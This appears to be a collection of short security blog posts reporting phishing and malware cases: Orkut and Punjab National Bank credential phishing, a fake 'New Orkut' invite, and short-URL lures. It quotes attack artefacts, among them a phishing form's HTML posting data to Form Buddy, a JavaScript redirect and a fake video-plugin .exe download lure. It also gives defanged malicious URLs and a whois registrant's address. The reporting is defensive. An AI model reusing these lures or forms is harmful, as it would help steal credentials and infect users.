Orkut Phishing ….

Here is an Orkut phishing victim

this leads to following page hosted to free web service

get the user information and redirects to orkut login page , but the information goes to following guy

Online Phishing by Exploiting

Most of this Phishing pages are hosted to hacked server and data are send to public domain like free email and other service.

Here is the mail that take us to the Phishing page

Here is a server hosting file on the server

this server is hacked as its using outdated  software

with POC code

http://www.milw0rm.com/exploits/9556

Phishing using Form Buddy !

Last Phishing page reported on  Punjab National Bank uses  the “Form Buddy” service to capture the information and redirect back to original Bank site.Here is the info found  in the pages.

<form action="http://www.formbuddy.com/cgi-bin/form.pl" method="post"> 
<input type="hidden" name="username" value="tundehsbcxxxxxx"> 
<input type="hidden" name="reqd" value="0"> 
<input type="hidden" name="url" value="http://www.pnbindia.com"> 

its been reported to Form Buddy.

More Phishing ……….

We had couple of Phishing incident reported today here are they

hxxp://searchindiaonline.com/bank-india/ing/INGBanner.html – ING phishing

directs to

hxxp://netpnbsecuritysystem.t35.com/netpnb/ – PNB bank

site loaded by above link

Short URL – Security

We have seen how an Short url service can exploited by malware , now this can be made secure by verifying the final url against service like – stopbadware.

And we have seen in real time ,that it is effective against malware exploitation & this should be implemented in all similar service to make web experience more safe.

Short Way 2 Malware

Short URL service has been exploited for spreading malware for an long time , here is one example

Hi! Please look at this short video. What are they doing?
tube23441.notlong.com/

 

following message is posted to google group , this redirects to

eusebiotanis.150m.com – this is again a freehosting page

<script>
window.location.href=("hxxp://flashtubes.net/xplay.php?id=45230");
</script>

this loads following malware.

<CENTER><A 
      href="hxxp://freefilesarchive.com/flash-HQ-plugin.45230.exe"><IMG 
      onmouseover="window.status = 'Download Streaming Player Media please!';" 
      
      alt="You must Download and Run Video Controller Object to play this video file." 
      src="img/xplayer.gif" border=0></A> 
      </CENTER></DIV>

Short URL – can lead to malware sites, so beware if you click one.

whois information shows 

Registrant:

    N/A


    Farah F Jones

    2733 Canis Heights Drive

    City Of Commerce


    California,90040

 

Fake – New Orkut

With every new release there is same release of fake to steal user information. Here it is for New orkut.

user would receive spam mail with an invitation to join new orkut. 

 

but link points to .

orkutnew.ning.com/?xgi=31XH2qxBierBjA&xg_source=msg_invite_net

site gets the user orkut profile information ,

this is site hosted to ning service with an malicious intent.